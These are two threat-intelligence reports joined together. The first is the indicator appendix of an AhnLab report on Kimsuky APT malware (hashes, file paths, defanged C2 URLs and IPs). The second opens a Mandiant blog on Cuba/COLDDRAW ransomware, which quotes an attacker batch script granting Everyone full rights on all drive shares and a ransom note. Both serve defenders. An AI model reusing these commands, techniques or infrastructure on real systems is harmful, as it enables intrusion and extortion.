ALLUSERSPROFILE\hvnc.dat TightVNC ALLUSERSPROFILE\edge\tvnc.db ALLUSERSPROFILE\msedge\tvnc.db ALLUSERSPROFILE\s\tvnc.dat ALLUSERSPROFILE\tvn.db ALLUSERSPROFILE\tvnc.dat Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 77 RDP Wrapper ALLUSERSPROFILE\rdp\rdpconf.exe ALLUSERSPROFILE\rdp\rdpwinst.exe ProgramFiles\rdp wrapper\rdpwrap.dll Malware for Adding Account ALLUSERSPROFILE\net.exe ALLUSERSPROFILE\net-add.exe APPDATA\media\wmi-ui-9cde8e85.db RDP Patch Malware TEMP\pms6e3e.tmp UACMe ALLUSERSPROFILE\su.db Privilege Escalation Malware ALLUSERSPROFILE\lala.exe ALLUSERSPROFILE\c.exe ALLUSERSPROFILE\lala.dll ALLUSERSPROFILE\n.dll Powerkatz ALLUSERSPROFILE\hi.db ALLUSERSPROFILE\edge\powerkatz-x64.exe ALLUSERSPROFILE\pacs8.exe SystemDrive\users\[User name]\documents\pkt.exe SystemDrive\users\[User name]\documents\1\pkt.exe SystemDrive\users\[User name]\documents\powerkatz-x64.exe Malware for Stealing Chrome Account Credentials ALLUSERSPROFILE\cc.dat Keylogger ALLUSERSPROFILE\ahnlab\install.cfg Proxy Malware ALLUSERSPROFILE\la.exe ALLUSERSPROFILE\ll.exe File Hashes (MD5) The MD5 of the related files is shown below.
However, it might be omitted if there is a sensitive sample.
Script 357a56dbc9e8b43d8ca09a92eac9b429 04b207967c38414d99a7da2b718c440f c7844002ba15798f2c240f2b629d90c2 3a4ab11b25961becece1c358029ba611 609f8450e024ed88b130f13d6d7b213f 159dd4d84fd6c5d1bb807cdb02215cf8 f0255dfcb932c3072c2489124b25b373 e7cf7c466e90f2b580ce89e4f8ef2af6 9c86a941cfb1ecbc580aea99b7d18e90 6c82e7b8fe3fd401573a822f6d1455e9 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 78 d9064c446b39e23822cb3b2680a0e052 8b274243a5179028388a2c17c75afb9f PIF Dropper 96c6ad44b9bb85e9e57bfea7e441d131 e8da7fcdf0ca67b76f9a7967e240d223 aa65c226335539c162a9246bcb7ec415 2ff981ba02b1c5a8487b858265b037de 815c690bfc097b82a8f1d171cd00e775 b567f7aac1574b2ba3a769702d2f6a1e 93758669e4f689b2f3b8b9ee6189c3df 7e041b101e1e574fb81f3f0cdf1c72b8 946f787c129bf469298aa881fb0843f4 PIF Dropper (UPX Unpack) 51c19c3ac15f7434b777effd4e490b41 e521c68ac280c00b0e27cbd2fed4c9c4 Downloader e413c5922addcde26edc5d72c3f3163d 768c84100d6e3181a26fa50261129287 218b391172f990ec35e08a221b77fa14 2a57aea6acc479332cf176aa9e976015 23ea8eba791c783dd197ac3695b57a92 acc36ffa4f40016b483deac1f78cf07d 8414d95877acde1b2557d7ab8ac0119f 6603e6628ca799ea21822d9952ce048a 54a0fdabbdf7e77509850e25ab956094 447163d776b62bf0b1c652c996cc0586 ee5a33cc147a56fe8e77cc37a4320527 Downloader (UPX Unpack) 19e09cfdcfe0c255c50b67d52b6a7afe AppleSeed - HTTP 7348d1f1f1ca3b7ff25b362231365904 aef664a85be61781dc20af81a644cfa3 f0dbc8a4d62ebb22c0bae473de1c98d2 0d9f8b5b7417896508a49047a5eb18eb 911937edadd017d5475570a1207bc3eb 8355964a47f248ed39caccb733aabc44 fd805335efa9ef39b121c7f1cec6ff83 151af490f16384372473f7696c90aa2a 07db667386e71a3334d79d93b26e930b 2401ad5f935df2757214a84538bdfdde 684b27302d9e5e6558651bd1ab50f5d7 f928a8eb6a04e8c47eafbed8ff014ed1 5c8afc7e08e480d10122c007b0b0cdf4 fea415382e510eea7b49ddc68cbdc402 7b6d65191d091bdd7c997ffcd670b018 c9ede077ec500240864c47c69fe5c728 5ce3a4eddba6ec8273db024b1813a530 d228d8453f1249f2177f376bfae4b10f 29d2895afb76ae73705b05847d3b2384 d68454cfef64f71caaa9c4f44c016a68 04d0856afb1aa9168377d6aa579c5403 44222674cf1175859b1756038f030e2d 866d2981320c69db5294d0761788f05a Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 79 2142739359fd0c614ffe3e2fcbc8c89d 1ce204f16d458e78ed8de91c332545cc 3913423877bd01729a63ba6dd075a19c d7b2cf6c8597d12d30aca68b277912af ba615365f00a2a631c6f8ccafdf52a80 d214790381ab8d1bfb909ac0b0d38051 d77dd109df7874e3c2cb72e9e169f909 1eefdfd7b83c2be2c388acb4b19fdd50 43e65ed5d864f0994277e4cdb217e9dd 801894c7f962e48e2fa35260b8f37a65 d6727e4a3f84d99d4e97ff6fb246c33b 60a65964fe90e1fd7d3d50623ed05083 89fff6645013008cda57f88639b92990 66b33561a84a8a8b78883b5e83ef76e5 de02fd9415983147bacfb839658aef7a cb9f97f06743c4592b5c5b0b2538ae5c 373a04225dd9b0d99cab3ed9ca970a23 b239679d6cd70e0d4ae30852005752ca ef75f528fb738e9519950bd615c85f8e ae47cd69cf321640d7eebb4490580681 8814fc3d81b3a948f54b0c035ece41aa 3d235aa8f66ddeec5dc4268806c22229 537b319927c0a7fbfaa0d411283069e3 076fcf70558836549151e7685adb1203 9d00bf9a834d6d5361b4a281aaa9ddd0 605c3dee08569692b67f25a47cb4a397 10b9702f8096afa8c928de6507f7ecfe df14d5c8c7a1fb5c12e9c7882540c3c0 41a8fc708ea0181c704a10b71771620c d3eee11514cf901b273bcbd4d91c8af5 a44966b7ddddbc62d7eb967d34812840 7c86ce42fed192ba7d1e09af0a7bf821 4ea6280e76b8c9fd6432faab3e1566b7 e6bc6e7fd86c5000d6557416e765ee7d 03cf908006d0b6bcac671ebc88f1ddf7 43917a2b19e25e3ffd110188404691d5 5aa0393b910b3f94b327e4e6162265fc 4d7816bb6f22dc76d3564e312a38ecc8 ca5c311cdf05a4661dc490e0929cdef1 a36414bf5195e523797d6e30a2e1225b 157160589dc3d5bad2e7ed15629b87d6 a03598cd616f86998daef034d6be2ec5 85ae0be9411b1ab0d7644347af0f7f07 ed17ac8d2ee4a3b145e5784887b2499a 8b775c805427560a4cedd900c8e63863 80a2bb7884b8bad4a8e83c2cb03ee343 d916c3533a89e498159fc432d645edb8 14e01ed4d086206d3c4b7159dc887f25 739d14336826d078c40c9580e3396d15 df0ed691353427377f58972a113b75eb 165f120ac79eda977d10f2f5203ff067 541fa4fb60690ffbe48b24cd2eeda32e e40cb1328cf00cc490a7239141db3661 4d20e2f1c2e8e9503d2bf7d0422b7ac7 171e12e3673eb0f934ce94cb583daccc 7480f871e59de96aaf2a20271ef2eab6 68eddf7fe33ac28a71f63437e2320b43 2cb77491573acc5e8198d8cf68300106 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 80 07c52157eb97ebe792b03e3a9d8a8240 499b72fc9973d2f2ee6679fd60d9dbaf 876db1153d0689092619315a61138c47 de9254369b928eaab82c84be777ebd05 9f9fd9812bac6bc71fe553c82faede94 bbc79820ccc040a54d2327ec28875377 734e034f968f13b4fbe5eddf443c4435 c7fbffb557c2006fd3316470e0c763d2 a40d47de39d25452af79cf1a9f812ee1 41950ac0d33adce8c8dcd0bed0e76591 3c47e1074f0845f50b615f1fb99b3bd8 1976fe2bc1011c02ff50c807f97cb230 caa1a847d0ae3f3d647474f5db9069bf c019e4bd1d192e08c56135a501a828fe 25afb96dc0db40d2de6313ce9fa7fdc7 28e0e331b4657e2383978c3fba89d7af 8f19fb2998e24bd05ff39bf2a704acd7 4e58ea982e3e95fe7b1bdb480ab9810e AppleSeed - HTTP (UPX or Self Unpack) 445299630a7675b2dbdc0ddfb08181a0 21994210ecb683ebccfaeda7a58b93f4 dd94918ac64425f9e14d3ee11fd22f26 c9540a5128ff77cf184b894a09a2fbb0 03b56d2764a29625fd7f804d0e431ab9 2d1f1132ab7e80a6a8546dd2ac45bd89 c1681bd8a0bfb54f208d2d1eee6693ec 9465a1a8cd418b8737e4c1f7dbe919f7 1de3b318b8a6636627004c6c43c87254 179ebbc3ea95ebaf882e997c469e800b 0ab009337ba3ed59560851db078e170a 8abb227a7c90a24e57e987cbf1cea1b4 907590565c5d3494addcd561736135df 7842a386fcd8bb8572b19383fed0b1e1 c688c60c94ead98f772c20cf18fb02d1 b5e2fff1591aa8331a1b9dfd1b2be435 c861f25bb943f77a909b33d62bb71926 8220d11b69ad5e516234405e00e899e0 5969b33fc2e70e9d007edd7ec8b8c7ea aed94d4b249d93c40c63267b9106f7a9 7b623d8d8821cdea344b58e8b392a77a e6d6cb76e2c91b6771b4fb4e19785e76 a22b6ee659d80bfc4e0d51f46973eff0 e98fae79f1c389313fcc27343ea2e359 0c4c830daac33221188e3c5461b35b6b AppleSeed - EMAIL 98015898c06603cc50bf0ed1eaf8fdff 8c5c844eb8612235cfbdf1fc8c59af65 dacb71c5eac21b41bb8077fe2e9f5a25 35ee0f5d686e72aba04253b0b39d19fe f2a39067724a227f6f7bc0f0602bae32 18d94704439c9eda33ea49eab40d99a5 0c6da2b9f9a5d8b3cf01f682c097f48b AppleSeed - EMAIL (UPX Unpack) 2c49b207dcd0454e6e7486ce6126f3e0 3bad087e698b257d5c3b8ac11392973d Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 81 40add75d64cebbc6f9054d0fa7a3d8cf 1d759150d2364a2fd0db7c22049ada22 6844589e2962b3914824cc8b90a552a6 a213a2bdfb76bcb4957568f08f753b85 Initial Version PebbleDash 8251bd566bdc6363b53f73224e4bd12b bb9641441dbc300939077bc3a0b60846 3998926526d5950c62ca2ec0225b8e7e 232279212c0ac76e13c524ba32fb545b 4ffcb40b7ef5f475e75d972dd69bb7fb c78523f37f856d9743638ce1b0128fcd 7c2fcbb47a97709b7b4c7001000882fd b3ed33cf6d37e45b013afc4c6bbb84d9 Initial Version PebbleDash (Self Unpack) baed0df969bdc9d914040b75bb3a7b8f Latest Version PebbleDash e33a34fa0e0696f6eae4feba11873f56 bbab9d691b616df065049d4c1c4f356f 5c04be3a9e52e04500e1b729988ab902 3c3f2c3df0ddefebe51ce8fc9fd888f8 a9a495491914257afc294fa6c2d215ba Latest Version PebbleDash (Unpacked) 9fa3d317b62fe14eab225d56f3c9509d df0c27db9b5d8133d07b36d2c90eab56 Meterpreter e37836c1f65fa321c7301c4062a1776c c61b965dae6f5e745f075825f3ec20d5 420634db019dc28b89bf9d2e6fe5db6d 107f917a5ddb4d3947233fbc9d47ddc8 6e8406d6680899937f23c788a7008a11 7f4624a8eb740653e2242993ee9e0997 8ae6d97cfd68f3866a60b11d4dfbace5 d5ad5ffde477e3bc154a17b4d74f401b d4da4660836d61db95dd91936e7cfa4a 3ef24a88fe011e4f6ef2639966beefa8 374a036525987bda63adeefd329e2b67 0a3c27b2bf7cd8d0913102c2931f025b 9cd1b48fba4ce9189d1cc6e522c8fbad 7872a5dfce3c3212e9cbe40d1541f9f6 7656801585f0c037834438a7d7f1288f 06f5957a2247b6e1ae0f55a3c4633b45 d010a3f121d80705e6622ded206835ac e192c1495e9d7cf18812a7a03a1e84f2 07adf13da4b6087c458b91a519a97d83 a714973224c833adb34aef84ff5e20f3 7f6ea229797148c0cd399132fb6e4069 3cfb46d86380f53788e5712a912ae6a5 11c6f97aaa583fc631f34af918516873 37e7d679cd4aa788ec63f27cb02962ea e582cf21c5f1951cf4dffd79d7e5403d Meterpreter (UPX Unpack) 11d3b490638d0376afe3540df88a6476 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 82 HVNC 00ced88950283d32300eb32a5018dada 535827d41b144614e582167813fbbc4c 67aa7ddecc758dddfa8afc9d4c208af1 93efab6654a67af99bbc7f0e8fcf970f f7839eeb778ff17cf3c3518089f9bbec dd90cb5dcd7bd748baa54da870df606c 5bd6cb6747f782c0a712b8e1b1f0c735 16c0e70e63fcb6e60d6595eacbd8eeba 76c5f8173c93acc11328602cfae6c1aa HVNC (UPX Unpack) a1bcf8508c52b1cc7c353eddc36edbd5 1f498103d59cc423bb2136f100ead563 99c200d13b4ab4f61e1c41ff99296204 TightVNC 26eaff22da15256f210762a817e6dec9 088cb0d0628a82e896857de9013075f3 9a71e7e57213290a372dd5277106b65a db4ff347151c7aa1400a6b239f336375 4301a75d1fcd9752bd3006e6520f7e73 a07ddce072d7df55abdc3d05ad05fde1 5b6da21f7feb7e44d1f06fbd957fd4e7 4fdba5a94e52191ce9152a0fe1a16099 bb761c2ac19a15db657005e7bc01b822 TightVNC (UPX Unpack) be14ced87e2203ad5896754273511a14 rdpconf.exe 03fb8e478f4ba100d37a136231fa2f78 rdpwinst.exe 1177fecd07e3ad608c745c81225e4544 rdpwinst.exe (UPX Unpack) 887003ed5ecba696d58d36e495f194b9 rdpwrap.dll 461ade40b800ae80a40985594e1ac236 Malware for Adding Account 5de4061060f363a7b8821368548b4ffa a5ef533b1ab7f99678981a2921010091 Malware for Adding Account (UPX Unpack) a77c57f9762325f476eea6beef85e330 bb8a3d46abe639a429137d82000e9374 RDP Patch Malware e94f99d08a85de47e4b64fd1d38f2586 UACMe bfd9090cd62ae39da81698601c208952 UACMe (UPX Unpack) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 83 9b194fd9a101f5880976d1a36c416550 Privilege Escalation Malware 4c814e4344f8865b58bdd7f54436b355 8c8207fa4050635f43ff6e7f712c658b 8ec1e9f9bfb99e560b1b489e95713313 Powerkatz e83578514353897b42f5bebe3d7603f1 afafb039d9143257d68553cafacc1992 Powerkatz (UPX Unpack) 96dbe0326dad80b1f3de6bb156a727c8 Malware for Stealing Chrome Account Credentials 4f01512ba32bc4d6cc2a6884ed569e55 Keylogger 2978850265521ef9d820fc127f5ca77d cb4f6a13a94d6fc2c4cd1a6ba416a3d5 Keylogger (UPX Unpack) 4a74790ca680dc58fa64b7cfc94d7ed3 db9bbea9674a494b1d43c73237bb28b9 Proxy Malware 34c07d081f4d0959a4ba68de36229256 fab60b7dabd444341023055638dee1bc Related Domain, URL, and IP Address The download and CC URLs that are used are listed below.
(
http was changed to hxxp.)
The URL may be omitted if it contains sensitive information.
PIF Dropper hxxp://pollor.p-e[.
]kr/?query5 hxxp://get.seino.p-e[.
]kr/?query5 hxxp://d.vtotal.n-e[.
]kr/?query5 hxxp://exchange.amikbvx[.
]cf/?query5 hxxp://mail.kumb[.
]cf/?query5 hxxp://vpn.atooi[.
]ga/?query5 VBS Malware hxxp://get.seino.p-e[.
]kr Downloader hxxp://ai.woani[.
]ml hxxp://app.veryton[.
]ml hxxp://biz.gooroomee[.
]ml hxxp://com.dshec[.
]ml hxxp://eastsea.or[.
]kr hxxp://hao.aini.pe[.
]hu hxxp://imap.pamik[.
]cf hxxp://love.krnvc[.
]ga hxxp://pc.ac-kr.esy[.
]es Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 84 AppleSeed - HTTP hxxp://accont.estcoft.kro[.
]kr// hxxp://account.googledriver[.
]ga// hxxp://adobe.acrobat.kro[.
]kr// hxxp://ahnlab.check.pe[.
]hu/upload/ hxxp://alps.travelmountain[.
]ml// hxxp://anto.shore[.
]ml// hxxp://aprodite.olympus.kr-infos[.
]com// hxxp://banana.baochoiah[.
]store// hxxp://banana.raminunahg[.
]space// hxxp://beast.16mb[.
]com// hxxp://benz-oh-haapy.96[.
]lt// hxxp://bhigr.baochoiah[.
]store//bnioww/ hxxp://bmw-love.890m[.
]com// hxxp://boars.linecover[.
]xyz// hxxp://channel-shop.manage-tech[.
]club// hxxp://check.sejong-downloader.pe[.
]hu// hxxp://cold.miontranck[.
]host/drink/ hxxp://confirm.assembly-check-loader.pe[.
]hu// hxxp://cordova2020.esy[.
]es// hxxp://cuinm.huikm.kro[.
]kr// hxxp://dept.lab.hol[.
]es// hxxp://depts.washington[.
]edu/dswkshp/wordpress/wp-content/themes/twentyfifteen/inc/io/ hxxp://do.giveme.r-e[.
]kr// hxxp://dongnam2014.cafe24[.
]com/image/main/sub/ hxxp://driver.spooler.p-e[.
]kr// hxxp://eastsea.or[.
]kr// hxxp://elle-mart.pe[.
]hu// hxxp://estsft.autoupdate.kro[.
]kr// hxxp://ffd-fund.pe[.
]hu// hxxp://greatname.000webhostapp[.
]com// hxxp://help.mappo-on[.
]life// hxxp://help.octo-manage[.
]net// hxxp://helper.canvas-life[.
]me// hxxp://help-super.pe[.
]hu// hxxp://hotmail.mail-help[.
]me/file1/ hxxp://hotmail.mail-help[.
]me/file2/ hxxp://ijljhsw.heroheroin.host// hxxp://inchon.decaft[.
]live// hxxp://iuqsd.baochoiah[.
]store/zvxcty/ hxxp://kamaze-love.96[.
]lt// hxxp://kcxxwr.pagelock.host// hxxp://mail-post-check[.
]pe.hu// hxxp://mjseu.dogshouse[.
]online// hxxp://monkey.funnystory[.
]tech// hxxp://nahika.webguiden[.
]online// hxxp://office.lab.hol[.
]es// hxxp://onedrive-upload.ikpoo[.
]cf// hxxp://park.happysunday[.
]space// hxxp://part.bigfile.pe[.
]hu// hxxp://ping.requests.p-e[.
]kr// hxxp://platoon.soliders[.
]uno// hxxp://ppahjcz.tigerwood.tech// hxxp://proce.soute.kro[.
]kr// hxxp://projectgreat.000webhostapp[.
]com// hxxp://rolls-royce-love.890m[.
]com// hxxp://seoul.lastpark[.
]life// Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 85 hxxp://smile.happysunday[.
]space// hxxp://snow-mart.pe[.
]hu// hxxp://snu-ac-kr.pe[.
]hu// hxxp://studio.lab.hol[.
]es// hxxp://studio-sp.lab.hol[.
]es// hxxp://suzuki.datastore.pe[.
]hu// hxxp://term.invertion[.
]press// hxxp://texts.letterpaper[.
]press// hxxp://update.hdac-tech[.
]com// hxxp://update.netsvc.n-e[.
]kr// hxxp://update.nhuyj.r-e[.
]kr// hxxp://update.ssnuh.kro[.
]kr// hxxp://updown.kasse-tech[.
]club// hxxp://upload.bigfile.hol[.
]es// hxxp://upload.bigfile-nate.pe[.
]hu// hxxp://upload.mydrives[.
]ml// hxxp://upload.myfilestore[.
]cf// hxxp://upload-confirm.esy[.
]es// hxxp://washer.cleaninter[.
]online// hxxp://yes24-mart.pe[.
]hu// hxxp://yes24-mart.pe[.
]hu/bear/ hxxp://you.ilove.n-e[.
]kr// AppleSeed - EMAIL helper.1.1030daum[.
]net k1a0604adaum[.
]net k1sheliak88daum[.
]net k1-tomedaum[.
]net k21yndaum[.
]net k2x0604daum[.
]net Initial Version PebbleDash 41.92.208[.
]195:443 98.159.16[.
]132:443 211.233.13[.
]11:443 112.217.108[.
]138:443 Latest Version PebbleDash hxxp://movie.youtoboo.kro[.
]kr/test.php hxxp://news.scienceon.r-e[.
]kr/view.php hxxp://www.onedriver.kro[.
]kr/update.php PebbleDash Download URL hxxp://new.jungwoo97[.
]com/install.bak/1u.exe hxxp://new.jungwoo97[.
]com/install.bak/1.exe Meterpreter 23.106.122[.
]239:3001 27.102.112[.
]44:8080 27.102.114[.
]63:3001 27.102.114[.
]63:80 27.102.127[.
]240:3001 27.255.79[.
]204:30000 27.255.81[.
]109:3015 31.172.80[.
]100:3001 31.172.80[.
]104:3001 37.172.80[.
]104:3001 64.14.211[.
]175:3015 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 86 79.133.41[.
]237:4001 79.133.41[.
]248:5600 210.16.120[.
]251:443 HVNC 27.102.102[.
]70:33890 27.102.112[.
]58:33890 27.255.81[.
]109:33890 27.255.81[.
]71:33890 31.172.80[.
]104:3030 61.14.211[.
]174:33890 79.133.41[.
]237:3030 TightVNC 27.102.114[.
]79:5500 27.102.114[.
]89:5500 27.102.127[.
]240:5500 27.102.128[.
]169:5500 27.255.81[.
]109:5500 27.255.81[.
]71:5500 31.172.80[.
]104:5500 61.14.211[.
]175:5500 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 87 Reference [1] https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed- really-fall-on-newtons-head/ [2] https://github.com/curl/curl [3] https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c [4] https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1- a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) [5] https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) [6] https://github.com/hlldz/CVE-2021-1675-LPE/ [7] https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d- 0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://github.com/curl/curl https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://asec.ahnlab.com/ko/1160/ https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 88 AhnLab Cyber Threat Intelligence Report This report is protected by copyright law.
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1/12 (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware mandiant.com/resources/unc2596-cuba-ransomware In 2021, Mandiant observed some threat actors deploying ransomware increasingly shift to exploiting vulnerabilities as an initial infection vector.
UNC2596, a threat actor that deploys COLDDRAW ransomware, publicly known as Cuba Ransomware, exemplifies this trend.
While public reporting has highlighted CHANITOR campaigns as precursor for these ransomware incidents, Mandiant has also identified the exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely as early as August 2021.
The content of this blog focuses on UNC2596 activity which has led to the deployment of COLDDRAW ransomware.
UNC2596 is currently the only threat actor tracked by Mandiant that uses COLDDRAW ransomware, which may suggest its exclusively used by the group.
During intrusions, these threat actors have used webshells to load the TERMITE in-memory dropper with subsequent activity involving multiple backdoors and built-in Windows utilities.
Beyond commonplace tools, like Cobalt Strike BEACON and NetSupport, UNC2596 has used novel malware, including BURNTCIGAR to disable endpoint protection, WEDGECUT to enumerate active hosts, and the BUGHATCH custom downloader.
In incidents where COLDDRAW was deployed, UNC2596 used a multi-faceted extortion model where data is stolen and leaked on the groups shaming website, in addition to encryption using COLDDRAW ransomware.
COLDDRAW operations have impacted dozens of organizations across more than ten countries, including those within critical infrastructure.
Victimology The threat actors behind COLDDRAW ransomware attacks have not shied away from sensitive targets (Figure 1).
Their victims include utilities providers, government agencies, and organizations that support non-profits and healthcare entities, however, we have not observed them attacking hospitals or entities that provide urgent care.
Around 80 of impacted victim organizations are based in North America, but they have also impacted several countries in Europe as well as other regions (Figure 2).
Figure 1: Alleged COLDDRAW victims by industry https://www.mandiant.com/resources/unc2596-cuba-ransomware https://www.ic3.gov/Media/News/2021/211203-2.pdf https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ 2/12 Figure 2: Alleged COLDDRAW victims by country Shaming Website Since at least early 2021, COLDDRAW ransomware victims have been publicly extorted by the threat actors who threaten to publish or sell stolen data (Figure 3).
Each shaming post includes information on the date the files were received.
While the shaming site was not included in ransom notes until early 2021, one of the entries on the site states that the files were received in November 2019.
This is consistent with earliest samples uploaded to public malware repositories and may represent the earliest use of the ransomware.
Notably, while the data associated with most of the victims listed on this site are provided for free, there is a paid section which listed only a single victim at the time of publication.
Figure 3: Cuba (aka COLDDRAW) Ransomware Shaming Tor site (2021-12-31) Attack Lifecycle UNC2596 incidents that have led to COLDDRAW ransomware deployment have involved a mix of public and private tools, some of which are believed to be private to them.
The threat actors use several malware and utilities that are publicly available including NetSupport, Cobalt Strike BEACON, built-in Windows capabilities such as PsExec, RDP, and PowerShell, malware available for purchase such as WICKER, and exploits with publicly available proof-of-concept code.
UNC2596 also uses several tools and scripts that we have not observed in use by other threat activity clusters to date, including BUGHATCH, BURNTCIGAR, WEDGECUT, and COLDDRAW.
See the Notable Malware and Tools section for additional detail.
Initial Reconnaissance / Initial Compromise Mandiant has observed UNC2596 frequently leverage vulnerabilities affecting public-facing Microsoft Exchange infrastructure as an initial compromise vector in recent COLDDRAW intrusions s where the initial vector was identified.
The threat actors likely perform initial reconnaissance activities to identify Internet-facing systems that may be vulnerable to exploitation.
3/12 Establish Foothold In COLDDRAW ransomware incidents, where initial access was gained via Microsoft Exchange vulnerabilities, UNC2596 subsequently deployed webshells to establish a foothold in the victim network.
Mandiant has also observed these actors deploy a variety of backdoors to establish a foothold, including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which have been deployed using the TERMITE in-memory dropper.
Escalate Privileges COLDDRAW ransomware incidents have mainly involved the use of credentials from valid accounts to escalate privileges.
In some cases, the source of these credentials is unknown, while in other cases, UNC2596 leveraged credential theft tools such as Mimikatz and WICKER.
We have also observed these threat actors manipulating or creating Windows accounts and modifying file access permissions.
In one intrusion, UNC2596 created a user account and added it to the administrator and RDP groups.
Internal Reconnaissance UNC2596 has performed internal reconnaissance with the goals of identifying active network hosts that are candidates for encryption and identifying files to exfiltrate for use in their multi-faceted extortion scheme.
The threat actors have used WEDGECUT, a reconnaissance tool typically with the filename check.exe.
It identifies active hosts by sending PING requests to a list of hosts generated by a PowerShell script named comps2.ps1 which uses the Get-ADComputer cmdlet to enumerate the Active Directory.
The threat actors have interactively browsed file systems to identify files of interest.
Additionally, UNC2596 has routinely used a script named shar.bat to map all drives to network shares, which may assist in user file discovery (Figure 4).
Figure 4: UNC2596 used a batch script to enable sharing of all drives to facilitate encryption and data harvesting net share CC:\ /grant:everyone,FULL net share DD:\ /grant:everyone,FULL net share EE:\ /grant:everyone,FULL net share FF:\ /grant:everyone,FULL net share GG:\ /grant:everyone,FULL net share HH:\ /grant:everyone,FULL net share II:\ /grant:everyone,FULL net share JJ:\ /grant:everyone,FULL net share LL:\ /grant:everyone,FULL net share KK:\ /grant:everyone,FULL net share MM:\ /grant:everyone,FULL net share XX:\ /grant:everyone,FULL net share YY:\ /grant:everyone,FULL net share WW:\ /grant:everyone,FULL net share ZZ:\ /grant:everyone,FULL net share VV:\ /grant:everyone,FULL net share OO:\ /grant:everyone,FULL net share PP:\ /grant:everyone,FULL net share QQ:\ /grant:everyone,FULL net share RR:\ /grant:everyone,FULL net share SS:\ /grant:everyone,FULL net share TT:\ /grant:everyone,FULL Move Laterally/Maintain Presence 4/12 During COLDDRAW incidents, UNC2596 actors have used several methods for lateral movement including RDP, SMB, and PsExec, frequently using BEACON to facilitate this movement.
Following lateral movement, the threat actors deploy various backdoors including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which are often deployed using the TERMITE in-memory dropper.
These backdoors are sometimes executed using PowerShell launchers and have in some cases used predictable filenames.
For example, NetSupport- related scripts and executables observed during COLDDRAW incidents have typically used the filename ra or ra whereas BUGHATCH scripts and executables have used the filename komar or komar, followed by the appropriate extension.
Complete Mission In order to complete their mission of multi-faceted extortion, the UNC2596 attempts to steal relevant user files and then identify and encrypt networked machines.
To facilitate encryption, and possibly to assist with collection efforts, the threat actors have used a batch script named shar.bat which maps each drive to a network share (Figure 4).
These newly created shares are then available for encryption by COLDDRAW.
During a more recent intrusion involving COLDDRAW, UNC2596 deployed the BURNTCIGAR utility using a batch script named av.bat.
BURNTCIGAR is a utility first observed in November 2021 which terminates processes associated with endpoint security software to allow their ransomware and other tools to execute uninhibited.
UNC2596 has also been observed exfiltrating data prior to encrypting victim systems.
To date, we have not observed UNC2596 using any cloud storage providers for data exfiltration rather, they prefer to exfiltrate data to their BEACON infrastructure.
The threat actors then threaten to publish data of organizations that do not pay a ransom on their shaming site (Figure 5).
Figure 5: Sample COLDDRAW Ransom Note Good day.
All your files are encrypted.
For decryption contact us.
Write here cloudkey[]cock.li reserve admin[]cuba-supp.com jabber cuba_support[]exploit.im We also inform that your databases, ftp server and file server were downloaded by us to our servers.
If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
Check our platform: REDACTED[.
]onion/ Do not rename encrypted files.
Do not try to decrypt your data using third party software, it may cause permanent data loss.
Do not stop process of encryption, because partial encryption cannot be decrypted.
Notable Malware and Tools In addition to the use of publicly available malware and built-in utilities, Mandiant has observed UNC2596 use malware that is believed to be private to these threat actors, such as WEDGECUT, BUGHATCH, BURNTCIGAR, and COLDDRAW, or malware that is believed to be used by a limited number of threat actors, such as TERMITE.
WEDGECUT WEDGECUT, which has been observed with the filename check.exe, is a reconnaissance tool that takes an argument containing a list of hosts or IP addresses and checks whether they are online using ICMP packets.
This utilitys functionality is implemented using the IcmpCreateFile, IcmpSendEcho, and IcmpCloseFile APIs to send a buffer containing the string Date Buffer.
In practice, the list provided to WEDGECUT has been generated using a PowerShell script that enumerates the Active Directory using the Get-ADComputer cmdlet.
BUGHATCH BUGHATCH is a downloader that executes arbitrary code on the compromised system downloaded from a CC server.
The code sent by the CC server includes PE files and PowerShell scripts.
BUGHATCH has been loaded in-memory by a dropper written in PowerShell or loaded by a PowerShell script from a remote URL.
BURNTCIGAR BURNTCIGAR is a utility that terminates processes at the kernel level by exploiting an Avast drivers undocumented IOCTL code (Table 1).
